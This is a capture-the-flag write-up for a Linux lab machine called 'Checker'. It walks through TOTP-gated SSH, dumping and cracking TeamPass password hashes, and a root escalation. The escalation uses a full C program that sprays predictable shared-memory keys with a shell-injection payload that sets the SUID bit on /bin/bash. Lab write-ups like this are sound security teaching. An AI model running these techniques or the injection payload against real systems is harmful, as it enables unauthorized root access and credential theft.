Overview
Checker is a Linux machine built around two-factor SSH access and a self-hosted password manager. Initial access requires generating a one-time password from a shared secret; lateral movement pivots through a vulnerable TeamPass instance to recover a second user's credentials; and privilege escalation abuses a time-of-check/time-of-use (TOCTOU) race condition in a sudo-permitted script that trusts data written to a predictable System V shared memory segment.
Initial Access: TOTP-Gated SSH
The engagement briefing provides a base32 TOTP secret alongside a password for the reader account. Rather than relying on an authenticator app, the same code can be generated with any TOTP tool that accepts a raw secret — for example the generator at it-tools.tech:
Secret: [REDACTED]
SSH then prompts for the six-digit code as an additional authentication factor after the password:
ssh reader@checker.htb
# Password: [REDACTED]
# Verification code: <code from the TOTP secret>
cat user.txt
# [REDACTED]
Lateral Movement: TeamPass Credential Leak
The reader account has no sudo rights of its own — privilege escalation is gated behind a second user, bob. Enumerating web services on the host surfaces a TeamPass instance on port 8080, a self-hosted, database-backed password manager.
TeamPass has a documented history of authentication and injection weaknesses. A vulnerability-scanning script targeted at the instance dumps the internal user table directly from the database, disclosing bcrypt hashes for both accounts:
$ ./script_vulnerabilita_teampass.sh http://checker.htb:8080
There are 2 users in the system:
admin: [REDACTED]
bob: [REDACTED]
Cracking bob's hash offline with a standard wordlist recovers the plaintext password:
hashcat -m 3200 -a 0 bob.hash /usr/share/wordlists/rockyou.txt
# [REDACTED]
Logging into the TeamPass web UI as bob surfaces a stored credential for an internal vault endpoint (vault.checker.htb), whose password is itself the login bob needs on the box:
Account: bob@checker.htb
Password: [REDACTED]
Switching to bob (or SSH'ing in directly with the recovered password) provides the account that the root-escalation path actually requires.
Privilege Escalation: Shared Memory Race Condition
As bob, sudo -l reveals a single permitted command:
sudo /opt/hash-checker/check-leak.sh bob
check-leak.sh is a monitoring script that watches a fixed-size POSIX/System V shared memory segment for a "leaked hash" string and reports it — but the string it reads is interpolated into a shell command without sanitization. Whatever text sits in that shared memory segment at read time gets executed verbatim.
The segment's key is derived from rand(), seeded with the current wall-clock time and reduced modulo 0xfffff. That keyspace is small enough to spray: a short C program repeatedly reseeds, computes a candidate key, creates (or attaches to) the corresponding shared memory segment, and overwrites its contents with a malicious payload disguised as a leaked-hash report:
#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <time.h>
#include <errno.h>
#include <string.h>
#define SHM_SIZE 0x400
#define SHM_MODE 0x3B6 /* 0666 */
int main(void) {
time_t current_time = time(NULL);
srand((unsigned int)current_time);
int random_value = rand();
key_t key = random_value % 0xfffff;
printf("Generated key: 0x%X\n", key);
int shmid = shmget(key, SHM_SIZE, IPC_CREAT | SHM_MODE);
if (shmid == -1) { perror("shmget"); exit(EXIT_FAILURE); }
char *shmaddr = (char *)shmat(shmid, NULL, 0);
if (shmaddr == (char *)-1) { perror("shmat"); exit(EXIT_FAILURE); }
/* the trailing quote + semicolon breaks out of the script's
unsanitized shell interpolation */
const char *payload =
"Leaked hash detected at Sat Feb 22 23:21:48 2025 > '; chmod +s /bin/bash;#";
snprintf(shmaddr, SHM_SIZE, "%s", payload);
printf("Shared Memory Content:\n%s\n", shmaddr);
if (shmdt(shmaddr) == -1) { perror("shmdt"); exit(EXIT_FAILURE); }
return 0;
}
gcc -o racer racer.c
while true; do ./racer; done
With the sprayer running continuously in one shell, invoking the sudo-permitted script in another wins the race once check-leak.sh happens to read a segment holding the crafted payload:
sudo /opt/hash-checker/check-leak.sh bob
The injected chmod +s /bin/bash executes as root. Once /bin/bash carries the SUID bit, a shell dropping privileges is no longer necessary:
ls -l /bin/bash
# -rwsr-xr-x 1 root root ...
bash -p
id
# uid=1000(bob) gid=1000(bob) euid=0(root)
cat /root/root.txt
# [REDACTED]
Cleanup
Since /bin/bash now carries a world-usable SUID bit, remove it once the flag is captured — leaving a root-privileged shell binary readable by any local user is a real backdoor, not just an artifact of the exploit:
chmod -s /bin/bash